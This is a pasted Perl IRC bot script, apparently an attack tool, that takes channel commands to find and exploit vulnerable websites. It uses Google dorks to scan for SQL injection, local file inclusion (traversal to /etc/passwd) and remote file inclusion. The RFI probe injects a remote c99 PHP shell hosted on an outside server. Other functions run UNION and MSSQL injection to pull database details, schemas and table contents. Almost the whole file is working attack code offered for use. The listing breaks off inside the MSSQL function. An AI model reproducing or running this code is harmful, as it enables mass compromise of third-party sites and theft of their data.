SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/perl | |
| 2 | # | |
| 3 | # OOO OOO OO OO OO | |
| 4 | # OO O O O O | |
| 5 | # O O O OO OO O O O O OO OOO OOOO OOOOO | |
| 6 | # O O O O O O O OOO OO OOOOOO O | |
| 7 | # O OO O O O O O O O O OOOOOO | |
| 8 | # OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO | |
| 9 | ################################################################################ | |
| 10 | ################################################ | |
| 11 | # Re-Mod by .bL4ck0ut | |
| 12 | ################################################################################ | |
| 13 | ################################################ | |
| 14 | # [+] What's New in this version ? | |
| 15 | # 1/ RFI Vulnerable Scanner | |
| 16 | # 2/ LFI Vulnerable Scanner | |
| 17 | # 3/ an msg when scan finish | |
| 18 | # 4/ msg appear once banned from google search | |
| 19 | ################################################################################ | |
| 20 | ################################################ | |
| 21 | # [+] About : | |
| 22 | ################################################################################ | |
| 23 | ################################################ | |
| 24 | # Language : PERL | |
| 25 | # Coder : Nyx- | |
| 26 | ################################################################################ | |
| 27 | ################################################ | |
| 28 | # [+] Usage : | |
| 29 | ################################################################################ | |
| 30 | ################################################ | |
| 31 | # ------------ You Must Change BOT Config First Of ALL | |
| 32 | # ------------ Bot Commands : | |
| 33 | #-- !md5 <word> => make an md5 hash | |
| 34 | #-- !md5crack <hash> => crack md5 hashes | |
| 35 | #-- !base64 <word> => encode with base64 | |
| 36 | #-- !basedecode <text to decode> => decode base64 text | |
| 37 | #-- !lastsploits => to get lastest sploits from milw0rm | |
| 38 | #-------------------------------------{ SQL INJECTION FUNCTIONS }-----------------------------------------
| |
| 39 | #-- !col <vuln> => calculate number of columns in a sql vulnerable | |
| 40 | #-- !det <vuln> * => MySQL DB Details (version , user ,db , dir ) | |
| 41 | #-- !schema <vuln> * => Extract all (DB's , Tables , Columns) names | |
| 42 | #-- !dump <vuln> * => Dump Data from a column & table | |
| 43 | #-- !ms <vuln> => Get MsSQL DB Details | |
| 44 | # ===>>> * you must enter vuln this way http://target.com/page.php?id=0+union+select+1,nullarea,2,3 | |
| 45 | #-------------------------------------{ Vulnerability scan FUNCTIONS }-----------------------------------------
| |
| 46 | #-- !sqlscan <dork> => fetch url's from google and check if sql vuln or not | |
| 47 | #-- !rfiscan <dork> => fetch url's from google and check if rfi vuln or not | |
| 48 | #-- !lfiscan <dork> => fetch url's from google and check if lfi vuln or not | |
| 49 | ################################################################################ | |
| 50 | ################################################ | |
| 51 | # [+] Contact : | |
| 52 | ################################################################################ | |
| 53 | ################################################ | |
| 54 | # E-Mail Address : Admin[AT]Zero-Gamerz[DOT]Net | |
| 55 | # Home Page : http://r00tsecurity.org | |
| 56 | ################################################################################ | |
| 57 | ################################################ | |
| 58 | # [+] Greetz :Visi0n | |
| 59 | ################################################################################ | |
| 60 | ################################################ | |
| 61 | ||
| 62 | # Special Thanks For All of : r00tsecurity | |
| 63 | ################################################################################ | |
| 64 | ################################################ | |
| 65 | ||
| 66 | ################################################################################ | |
| 67 | ################################################ | |
| 68 | ||
| 69 | ||
| 70 | use IO::Socket::INET; | |
| 71 | use LWP::UserAgent; | |
| 72 | use LWP::Simple; | |
| 73 | use XML::Simple; | |
| 74 | use Digest::MD5 qw(md5_hex); | |
| 75 | use MIME::Base64; | |
| 76 | ################################################################################ | |
| 77 | ############ | |
| 78 | my $server = "irc.yourserver.org"; # IRC Server | |
| 79 | my $port = "6667"; # IRC Server port | |
| 80 | my $nick = "SQLi"; # Bot Nick | |
| 81 | my $channel = "#yourchannel"; # Channel to Join | |
| 82 | my $name = "SQLi"; | |
| 83 | my $phpshell = "http://w7ed.by.ru/c99.txt"; #your phpshell link for RFI scan | |
| 84 | ################################################################################ | |
| 85 | ############ | |
| 86 | system('cls');
| |
| 87 | print "\n\n\n\n OOO OOO OO OO OO\n"; | |
| 88 | print " OO O O O O\n"; | |
| 89 | print " O O O OO OO O O O O OO OOO OOOO OOOOO\n"; | |
| 90 | print " O O O O O O O OOO OO OOOOOO O\n"; | |
| 91 | print " O OO O O O O O O O O OOOOOO\n"; | |
| 92 | print " OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO\n"; | |
| 93 | print " \n\n AlpHaNiX IRC BOT V1 \n\n"; | |
| 94 | print "\n [+] Connection To $server ....\n"; | |
| 95 | ################################################################################ | |
| 96 | ############ | |
| 97 | $connection = IO::Socket::INET->new(PeerAddr=>"$server", | |
| 98 | PeerPort=>"$port", | |
| 99 | Proto=>'tcp', | |
| 100 | Timeout=>'30') or die " [!] Couldnt Connect To $server\n"; | |
| 101 | print " [+] Connected To $server ....\n\n"; | |
| 102 | ################################################################################ | |
| 103 | ############ | |
| 104 | print $connection "USER $name\n"; | |
| 105 | print $connection "NICK $nick\r\n"; | |
| 106 | ################################################################################ | |
| 107 | ############ | |
| 108 | while($response = <$connection>) | |
| 109 | {
| |
| 110 | print $response; #print IRC Response | |
| 111 | if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN $channel\r\n";} #-------Join Channel
| |
| 112 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;} #-------Print Help
| |
| 113 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5 (.*)$/){&md5encode;} #------- md5encoder
| |
| 114 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5crack (.*)$/){&md5cracker;} #-------md5cracker
| |
| 115 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!base64 (.*)$/){&base64;} #-------base64 encoder
| |
| 116 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!basedecode (.*)$/){&basedecode;}#-------base64decoder
| |
| 117 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!iplocation (.*)$/){&iplocation;}#-------ip locator
| |
| 118 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lastsploits/){&milw0rm;} #-------last sploits
| |
| 119 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!sqlscan (.*)$/){&sqlscan;} #-------SQLi scanner
| |
| 120 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lfiscan (.*)$/){&lfiscan;} #-------LFI Scanner
| |
| 121 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rfiscan (.*)$/){&rfiscan;} #-------RFI Scanner
| |
| 122 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!col (.*)$/){&colcount;} #-------column counter
| |
| 123 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!det (.*)$/){&mysqldet;} #-------details grabber
| |
| 124 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!schema (.*)$/){&schema;} #-------schema extractor
| |
| 125 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!dump (.*)-(.*)-(.*)$/){&mysqldumper}#-------data dumper
| |
| 126 | if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!ms (.*)$/){&mssqldet} #-------mssql details grabber
| |
| 127 | if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";} #-------ping reponse
| |
| 128 | } | |
| 129 | ################################################################################ | |
| 130 | ############ | |
| 131 | sub help | |
| 132 | {
| |
| 133 | print $connection "PRIVMSG $channel :8,1 AlpHaNiX IRC BOT V1.5 Help : \r\n"; | |
| 134 | print $connection "PRIVMSG $channel :8,1 \r\n"; | |
| 135 | print $connection "PRIVMSG $channel :4,1 --------------== Encoding Services ==--------------\r\n"; | |
| 136 | print $connection "PRIVMSG $channel :9,1 To Generate an MD5 Hash => : 11,1 !md5 word \r\n"; | |
| 137 | print $connection "PRIVMSG $channel :9,1 To Crack an MD5 Hash => : 11,1 !md5crack Hash \r\n"; | |
| 138 | print $connection "PRIVMSG $channel :9,1 To Encode with Base64 => : 11,1 !base64 word \r\n"; | |
| 139 | print $connection "PRIVMSG $channel :9,1 To Decode Base64 => : 11,1 !basedecode base64 \r\n"; | |
| 140 | print $connection "PRIVMSG $channel :4,1 ----------------== Other Services ==---------------\r\n"; | |
| 141 | print $connection "PRIVMSG $channel :9,1 Check IP Location => : 11,1 !iplocation ip \r\n"; | |
| 142 | print $connection "PRIVMSG $channel :9,1 Get lastest Sploits => : 11,1 !lastsploits \r\n"; | |
| 143 | print $connection "PRIVMSG $channel :4,1 ----------------== SQL Injection ==----------------\r\n"; | |
| 144 | print $connection "PRIVMSG $channel :9,1 MySQL Column Count => : 11,1 !col target \r\n"; | |
| 145 | print $connection "PRIVMSG $channel :9,1 MySQL DB Details => : 11,1 !det target \r\n"; | |
| 146 | print $connection "PRIVMSG $channel :9,1 MySQL Schema Extractor => : 11,1 !schema target \r\n"; | |
| 147 | print $connection "PRIVMSG $channel :9,1 MySQL Data Dumper => : 11,1 !dump target \r\n"; | |
| 148 | print $connection "PRIVMSG $channel :9,1 MsSQL Details => : 11,1 !ms target \r\n"; | |
| 149 | print $connection "PRIVMSG $channel :4,1 ------------== Vulnerablitys Scanner ==------------\r\n"; | |
| 150 | print $connection "PRIVMSG $channel :9,1 SQL Vuln Scanner => : 11,1 !sqlscan dork \r\n"; | |
| 151 | print $connection "PRIVMSG $channel :9,1 LFI Vuln Scanner => : 11,1 !lfiscan dork \r\n"; | |
| 152 | print $connection "PRIVMSG $channel :9,1 RFI Vuln Scanner => : 11,1 !rfiscan dork \r\n"; | |
| 153 | } | |
| 154 | ################################################################################ | |
| 155 | ############ | |
| 156 | sub md5encode | |
| 157 | {
| |
| 158 | my $md5_hash = $3; | |
| 159 | my $asker = $1; | |
| 160 | my $md5_generated = md5_hex($md5_hash); | |
| 161 | print $connection "PRIVMSG $channel :4$asker , done =>6 $md5_generated\r\n"; | |
| 162 | } | |
| 163 | ################################################################################ | |
| 164 | ############ | |
| 165 | sub md5cracker | |
| 166 | {
| |
| 167 | my $asker = $1; | |
| 168 | my $hash = $3; | |
| 169 | if (length($hash) != 33) | |
| 170 | {
| |
| 171 | print $connection "PRIVMSG $channel :Not Valid MD5 Hash !\r\n"; | |
| 172 | } | |
| 173 | else | |
| 174 | {
| |
| 175 | my $ua = LWP::UserAgent->new(); | |
| 176 | my $contents = $ua->get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
| |
| 177 | my $cracked = $contents->content; | |
| 178 | if ($cracked) | |
| 179 | {
| |
| 180 | print $connection "PRIVMSG $channel :4$asker Cracked ! =>6 $cracked\r\n"; | |
| 181 | } | |
| 182 | else | |
| 183 | {
| |
| 184 | print $connection "PRIVMSG $channel :4$asker,6 Not Found !\r\n"; | |
| 185 | } | |
| 186 | } | |
| 187 | } | |
| 188 | ################################################################################ | |
| 189 | ############ | |
| 190 | sub base64 | |
| 191 | {
| |
| 192 | my $base64 = $3; | |
| 193 | my $asker = $1; | |
| 194 | my $base64_encoded = encode_base64($base64); | |
| 195 | print $connection "PRIVMSG $channel :4$asker,6 Encoded => $base64_encoded\r\n"; | |
| 196 | } | |
| 197 | ################################################################################ | |
| 198 | ############ | |
| 199 | sub basedecode | |
| 200 | {
| |
| 201 | my $base64d = $3; | |
| 202 | my $asker = $1; | |
| 203 | my $base64_decoded = decode_base64($base64d); | |
| 204 | print $connection "PRIVMSG $channel :4$asker,6 Decoded => $base64_decoded\r\n"; | |
| 205 | } | |
| 206 | ################################################################################ | |
| 207 | ############ | |
| 208 | sub iplocation | |
| 209 | {
| |
| 210 | my $asker = $1; | |
| 211 | my $ip = $3; | |
| 212 | if (length($ip) > 17) | |
| 213 | {
| |
| 214 | print $connection "PRIVMSG $channel :6Not Real IP !\r\n"; | |
| 215 | } | |
| 216 | else | |
| 217 | {
| |
| 218 | my $ua = LWP::UserAgent->new(); | |
| 219 | my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip);
| |
| 220 | my $found = $contents->content; | |
| 221 | if ($found =~ /<tr><td align="right">Country<\/td><td><b>(.*)<\/b><\/td><\/tr>/) | |
| 222 | {
| |
| 223 | print $connection "PRIVMSG $channel :4$asker , The IP Location =>6 $1\r\n"; | |
| 224 | } | |
| 225 | else | |
| 226 | {
| |
| 227 | print $connection "PRIVMSG $channel :6Not Real IP !\r\n"; | |
| 228 | } | |
| 229 | } | |
| 230 | } | |
| 231 | ################################################################################ | |
| 232 | ############ | |
| 233 | sub milw0rm | |
| 234 | {
| |
| 235 | my $rss = get('http://milw0rm.com/rss.php');
| |
| 236 | my $xml = XMLin($rss); | |
| 237 | my $spl = scalar(@{$xml->{channel}->{item}});
| |
| 238 | for ($i=0; $i<$spl; $i++) | |
| 239 | {
| |
| 240 | print $connection "PRIVMSG $channel :4\n"; | |
| 241 | print $connection "PRIVMSG $channel :6Date : $xml->{channel}->{item}->[$i]->{pubDate}\n";
| |
| 242 | print $connection "PRIVMSG $channel :6Title: $xml->{channel}->{item}->[$i]->{title}\n";
| |
| 243 | print $connection "PRIVMSG $channel :6Link : $xml->{channel}->{item}->[$i]->{link}\n\n";
| |
| 244 | } | |
| 245 | } | |
| 246 | ################################################################################ | |
| 247 | ############ | |
| 248 | sub sqlscan | |
| 249 | {
| |
| 250 | my $asker = $1; | |
| 251 | my $dork = $3; | |
| 252 | print $connection "PRIVMSG $channel :4$asker 12[+] SQL Vulnerable Scan Started ....\r\n"; | |
| 253 | print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; | |
| 254 | my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start="; | |
| 255 | #---- | |
| 256 | my $request = HTTP::Request->new(GET=>"$google"."$i"); | |
| 257 | my $useragent = LWP::UserAgent->new(agent => 'Firefox 3.0.9'); | |
| 258 | my $response = $useragent->request($request); | |
| 259 | my $con = $response->content; | |
| 260 | if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) | |
| 261 | { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
| |
| 262 | else | |
| 263 | {
| |
| 264 | for ($i=0;$i<200;$i=$i+10) | |
| 265 | {
| |
| 266 | my $request = HTTP::Request->new(GET=>"$google"."$i"); | |
| 267 | my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); | |
| 268 | my $response = $useragent->request($request); | |
| 269 | my $con = $response->content; | |
| 270 | my $start='class=r><a href=\"'; | |
| 271 | my $end= '" class=l>'; | |
| 272 | while ( $con =~ m/$start(.*?)$end/g ) | |
| 273 | {
| |
| 274 | my $fl = $1; | |
| 275 | my $link = $fl.'0+order+by+9999999--'; | |
| 276 | print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; | |
| 277 | my $ua = LWP::UserAgent->new(); | |
| 278 | my $req = $ua->get($link); | |
| 279 | my $result = $req->content; | |
| 280 | if ($result=~ m/You have an error in your SQL syntax/i || $result=~ m/Query failed/i || $result=~ m/SQL query failed/i || $result=~ m/mysql_fetch_/i || $result=~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i ) | |
| 281 | {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MySQL Vulnerable Website ->6 $fl\r\n";}
| |
| 282 | elsif ($result=~ m/ODBC SQL Server Driver/i || $result=~ m/Unclosed quotation mark/i || $result=~ m/Microsoft OLE DB Provider for/i ) | |
| 283 | {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MsSQL Vulnerable Website ->6 $fl\r\n";}
| |
| 284 | elsif ($result=~ m/Microsoft JET Database/i || $result=~ m/ODBC Microsoft Access Driver/i ) | |
| 285 | {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MS Access Vulnerable Website ->6 $fl\r\n";}
| |
| 286 | } | |
| 287 | } | |
| 288 | print $connection "PRIVMSG $channel :4$asker 12[!] SQL Scan Finished !\r\n"; | |
| 289 | } | |
| 290 | } | |
| 291 | ################################################################################ | |
| 292 | ############ | |
| 293 | sub lfiscan | |
| 294 | {
| |
| 295 | my $asker = $1; | |
| 296 | my $dork = $3; | |
| 297 | print $connection "PRIVMSG $channel :4$asker 12[+] LFI Vulnerable Scan Started ....\r\n"; | |
| 298 | print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; | |
| 299 | my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start="; | |
| 300 | @LFI = ('../etc/passwd',
| |
| 301 | '../../etc/passwd', | |
| 302 | '../../../etc/passwd', | |
| 303 | '../../../../etc/passwd', | |
| 304 | '../../../../../etc/passwd', | |
| 305 | '../../../../../../etc/passwd', | |
| 306 | '../../../../../../../etc/passwd', | |
| 307 | '../../../../../../../../etc/passwd', | |
| 308 | '../../../../../../../../../etc/passwd', | |
| 309 | '../../../../../../../../../../etc/passwd', | |
| 310 | '../../../../../../../../../../../etc/passwd', | |
| 311 | '../../../../../../../../../../../../etc/passwd', | |
| 312 | '../../../../../../../../../../../../../etc/passwd', | |
| 313 | '../../../../../../../../../../../../../../etc/passwd',); | |
| 314 | my $request = HTTP::Request->new(GET=>"$google"."$i"); | |
| 315 | my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); | |
| 316 | my $response = $useragent->request($request); | |
| 317 | my $con = $response->content; | |
| 318 | if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) | |
| 319 | { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
| |
| 320 | else | |
| 321 | {
| |
| 322 | for ($i=0;$i<200;$i=$i+10) | |
| 323 | {
| |
| 324 | my $start='class=r><a href=\"'; | |
| 325 | my $end= '" class=l>'; | |
| 326 | while ( $con =~ m/$start(.*?)$end/g ) | |
| 327 | {
| |
| 328 | print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; | |
| 329 | for ($j;$j<=14;$j++) | |
| 330 | {
| |
| 331 | my $fl = $1; | |
| 332 | my $link = $fl.$LFI[$j]; | |
| 333 | my $ua = LWP::UserAgent->new(); | |
| 334 | my $req = $ua->get($link); | |
| 335 | my $result = $req->content; | |
| 336 | if ($result=~ m/root:x:/i) | |
| 337 | {print $connection "PRIVMSG $channel :4$asker 12[!] Possible LFI Vulnerable Website ->6 $fl\r\n";}
| |
| 338 | } | |
| 339 | } | |
| 340 | } | |
| 341 | print $connection "PRIVMSG $channel :4$asker 12[!] LFI Scan Finished !\r\n"; | |
| 342 | } | |
| 343 | } | |
| 344 | ################################################################################ | |
| 345 | ############ | |
| 346 | sub rfiscan | |
| 347 | {
| |
| 348 | my $asker = $1; | |
| 349 | my $dork = $3; | |
| 350 | print $connection "PRIVMSG $channel :4$asker 12[+] RFI Vulnerable Scan Started ....\r\n"; | |
| 351 | print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; | |
| 352 | my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start="; | |
| 353 | #---- | |
| 354 | my $request = HTTP::Request->new(GET=>"$google"."$i"); | |
| 355 | my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); | |
| 356 | my $response = $useragent->request($request); | |
| 357 | my $con = $response->content; | |
| 358 | if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) | |
| 359 | { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
| |
| 360 | else | |
| 361 | {
| |
| 362 | for ($i=0;$i<200;$i=$i+10) | |
| 363 | {
| |
| 364 | my $start='class=r><a href=\"'; | |
| 365 | my $end= '" class=l>'; | |
| 366 | while ( $con =~ m/$start(.*?)$end/g ) | |
| 367 | {
| |
| 368 | print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; | |
| 369 | my $fl = $1; | |
| 370 | my $link = $fl.$phpshell.'??'; | |
| 371 | my $ua = LWP::UserAgent->new(); | |
| 372 | my $req = $ua->get($link); | |
| 373 | my $result = $req->content; | |
| 374 | if ($result=~ m/uid=/i) | |
| 375 | {print $connection "PRIVMSG $channel :4$asker 12[!] Possible RFI Vulnerable Website ->6 $fl\r\n";}
| |
| 376 | } | |
| 377 | } | |
| 378 | print $connection "PRIVMSG $channel :4$asker 12[!] RFI Scan Finished !\r\n"; | |
| 379 | } | |
| 380 | } | |
| 381 | ################################################################################ | |
| 382 | ############ | |
| 383 | sub colcount | |
| 384 | {
| |
| 385 | my $asker = $1; | |
| 386 | print $connection "PRIVMSG $channel :4$asker 12[+] Column Counting Started , Please Wait ....\r\n"; | |
| 387 | my $site = $3; | |
| 388 | my $null = "09+and+1="; | |
| 389 | my $code = "0+union+select+"; | |
| 390 | my $add = "+"; | |
| 391 | my $com = "--"; | |
| 392 | my $injection = $site.$null.$code."0",$com; | |
| 393 | my $request = HTTP::Request->new(GET=>$injection); | |
| 394 | my $useragent = LWP::UserAgent->new(); | |
| 395 | my $response = $useragent->request($request); | |
| 396 | my $result = $response->content; | |
| 397 | if( $result =~ /You have an error in your SQL syntax/ || $result=~/Query failed/ || $result=~/SQL query failed/ || $result=~ /mysql_fetch_/ || $result=~ /mysql_fetch_array/ || $result =~ /mysql_num_rows/ || $result =~ /The used SELECT statements have a different number of columns/) | |
| 398 | {
| |
| 399 | print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is Vulnerable\n"; | |
| 400 | print $connection "PRIVMSG $channel :4$asker 12[+] Working On It\n"; | |
| 401 | } | |
| 402 | else | |
| 403 | {
| |
| 404 | print $connection "PRIVMSG $channel :4$asker 10[!] This WebSite Is Not SQL Vulnerable !\n\n"; | |
| 405 | } | |
| 406 | for ($i = 0; $i < 50; $i ++) | |
| 407 | {
| |
| 408 | $col.=','.$i; | |
| 409 | $specialword.=','."0x617a38387069783030713938"; | |
| 410 | if ($i == 0) | |
| 411 | {
| |
| 412 | $specialword = ''; | |
| 413 | $col = ''; | |
| 414 | } | |
| 415 | $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com; | |
| 416 | my $ua = LWP::UserAgent->new(); | |
| 417 | my $res = $ua->get($sql); | |
| 418 | $response=$res->content; | |
| 419 | if($response =~ /az88pix00q98/) | |
| 420 | {
| |
| 421 | $i ++; | |
| 422 | print $connection "PRIVMSG $channel :4$asker 12[+] This Injection Have6 $i 12Columns\n"; | |
| 423 | } | |
| 424 | } | |
| 425 | } | |
| 426 | ################################################################################ | |
| 427 | ############ | |
| 428 | sub mysqldet | |
| 429 | {
| |
| 430 | my $asker = $1; | |
| 431 | my $site = $3; | |
| 432 | my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938,\@\@datadir,0x617a38387069783030713938)"; | |
| 433 | print $connection "PRIVMSG $channel :4$asker 12[+] Info Getting, Started Please Wait ....\r\n"; | |
| 434 | if ($site =~ /(.*)NullArea(.*)/i) | |
| 435 | {
| |
| 436 | $newlink = $1.$selection.$2.'--'; | |
| 437 | my $ua = LWP::UserAgent->new(); | |
| 438 | my $request = $ua->get($newlink); | |
| 439 | my $content = $request->content; | |
| 440 | if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) | |
| 441 | {
| |
| 442 | print $connection "PRIVMSG $channel :4$asker 12[+] Database Version :6 $1\r\n"; | |
| 443 | print $connection "PRIVMSG $channel :4$asker 12[+] Database Name :6 $2\r\n"; | |
| 444 | print $connection "PRIVMSG $channel :4$asker 12[+] DB UserName :6 $3\r\n"; | |
| 445 | print $connection "PRIVMSG $channel :4$asker 12[+] Databse Dir :6 $4\r\n"; | |
| 446 | } | |
| 447 | else | |
| 448 | {
| |
| 449 | print $connection "PRIVMSG $channel :4$asker 12[!] Failed\r\n"; | |
| 450 | } | |
| 451 | } | |
| 452 | else | |
| 453 | {
| |
| 454 | print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n"; | |
| 455 | } | |
| 456 | } | |
| 457 | ################################################################################ | |
| 458 | ############ | |
| 459 | sub schema | |
| 460 | {
| |
| 461 | my $asker = $1; | |
| 462 | my $site = $3; | |
| 463 | my $selection = "concat(0x617a38387069783030713938,table_name,0x617a38387069783030713938,column_name | |
| 464 | ,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)"; | |
| 465 | if ($site =~ /(.*)NullArea(.*)/i) | |
| 466 | {
| |
| 467 | print $connection "PRIVMSG $channel :4$asker 12[+] 6Table 12:|: 6Column 12:|: 6Database\r\n"; | |
| 468 | for ($i ; $i<=1500; $i++ ) | |
| 469 | {
| |
| 470 | $newstring = $1.$selection.$2.'+'.'from'.'+'.'information_schema.columns'.'+'.'LIMIT'.'+'.$i.','.'1'.'--'; | |
| 471 | my $ua = LWP::UserAgent->new(); | |
| 472 | my $request = $ua->get($newstring); | |
| 473 | my $content = $request->content; | |
| 474 | if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) | |
| 475 | {
| |
| 476 | print $connection "PRIVMSG $channel :4$asker 12[!] 6$1 12:|: 6$2 12:|: 6$3 \r\n"; | |
| 477 | } | |
| 478 | } | |
| 479 | } | |
| 480 | else | |
| 481 | {
| |
| 482 | print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n"; | |
| 483 | } | |
| 484 | } | |
| 485 | ################################################################################ | |
| 486 | ############ | |
| 487 | sub mysqldumper | |
| 488 | {
| |
| 489 | my $asker = $1; | |
| 490 | my $site = $3; | |
| 491 | my $table = $5; | |
| 492 | my $selection = "concat(0x617a38387069783030713938,$4,0x617a38387069783030713938)"; | |
| 493 | if ($site =~ /(.*)NullArea(.*)/i) | |
| 494 | {
| |
| 495 | print $connection "PRIVMSG $channel :4$asker 12[+] 6 DATA\r\n"; | |
| 496 | for ($i ; $i<=1500; $i++ ) | |
| 497 | {
| |
| 498 | $newstring = $1.$selection.$2.'+'.'from'.'+'.$table.'+'.'LIMIT'.'+'.$i.','.'1'.'--'; | |
| 499 | my $ua = LWP::UserAgent->new(); | |
| 500 | my $request = $ua->get($newstring); | |
| 501 | my $content = $request->content; | |
| 502 | if ($content =~ /az88pix00q98(.*)az88pix00q98/) | |
| 503 | {
| |
| 504 | print $connection "PRIVMSG $channel :4$asker 12[!] 6 $1\r\n"; | |
| 505 | } | |
| 506 | } | |
| 507 | } | |
| 508 | else | |
| 509 | {
| |
| 510 | print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3-column_name-table_name\r\n"; | |
| 511 | } | |
| 512 | } | |
| 513 | ################################################################################ | |
| 514 | ############ | |
| 515 | sub mssqldet | |
| 516 | {
| |
| 517 | my $asker = $1; | |
| 518 | print $connection "PRIVMSG $channel :4$asker 12[+] Getting Infos Started , Please Wait ....\r\n"; | |
| 519 | my $target = $3; | |
| 520 | print "\n[+] Working On $target"; | |
| 521 | my $version = 'convert(int,(select+@@version));--'; | |
| 522 | my $system_user = 'convert(int,(select+system_user));--'; | |
| 523 | my $db_name = 'convert(int,(select+db_name()));--'; | |
| 524 | my $servername = 'convert(int,(select+@@servername));--'; | |
| 525 | my $hostname = 'convert(int,(select+Host_Name()));--'; | |
| 526 | my $site = $target; | |
| 527 | my $injection = $site.$version; | |
| 528 | my $request = HTTP::Request->new(GET=>$injection); | |
| 529 | my $useragent = LWP::UserAgent->new(); | |
| 530 | my $response = $useragent->request($request)->as_string; | |
| 531 | if ($response =~ /.*?value\s'/) | |
| 532 | {
| |
| 533 | print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is SQL Vulnerable ..\r\n"; | |
| 534 | print $connection "PRIVMSG $channel :4$asker 12[+] Working On It ..\r\n"; | |
| 535 | ||
| 536 | $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm); | |
| 537 | ||
| 538 | print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Version Is : 6$ver\r\n"; | |
| 539 | ||
| 540 | my $injection = $site.$system_user; | |
| 541 | my $request = HTTP::Request->new(GET=>$injection); | |
| 542 | my $useragent = LWP::UserAgent->new(); | |
| 543 | $useragent->timeout(10); | |
| 544 | my $response = $useragent->request($request)->as_string; | |
| 545 | $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); | |
| 546 | print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL System_User Is : 6$system_user\r\n"; | |
| 547 | ||
| 548 | my $injection = $site.$db_name; | |
| 549 | my $request = HTTP::Request->new(GET=>$injection); | |
| 550 | my $useragent = LWP::UserAgent->new(); | |
| 551 | $useragent->timeout(10); | |
| 552 | my $response = $useragent->request($request)->as_string; | |
| 553 | $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); | |
| 554 | print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Database Name Is : 6$db_name\r\n"; | |
| 555 | ||
| 556 | my $injection = $site.$servername; | |
| 557 | my $request = HTTP::Request->new(GET=>$injection); | |
| 558 | my $useragent = LWP::UserAgent->new(); | |
| 559 | $useragent->timeout(10); | |
| 560 | my $response = $useragent->request($request)->as_string; | |
| 561 | $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); | |
| 562 | print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Server Name Is : 6$servername\r\n"; | |
| 563 | ||
| 564 | my $injection = $site.$hostname; | |
| 565 | my $request = HTTP::Request->new(GET=>$injection); | |
| 566 | my $useragent = LWP::UserAgent->new(); | |
| 567 | $useragent->timeout(10); | |
| 568 | my $response = $useragent->request($request)->as_string; | |
| 569 | $hostnames = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); | |
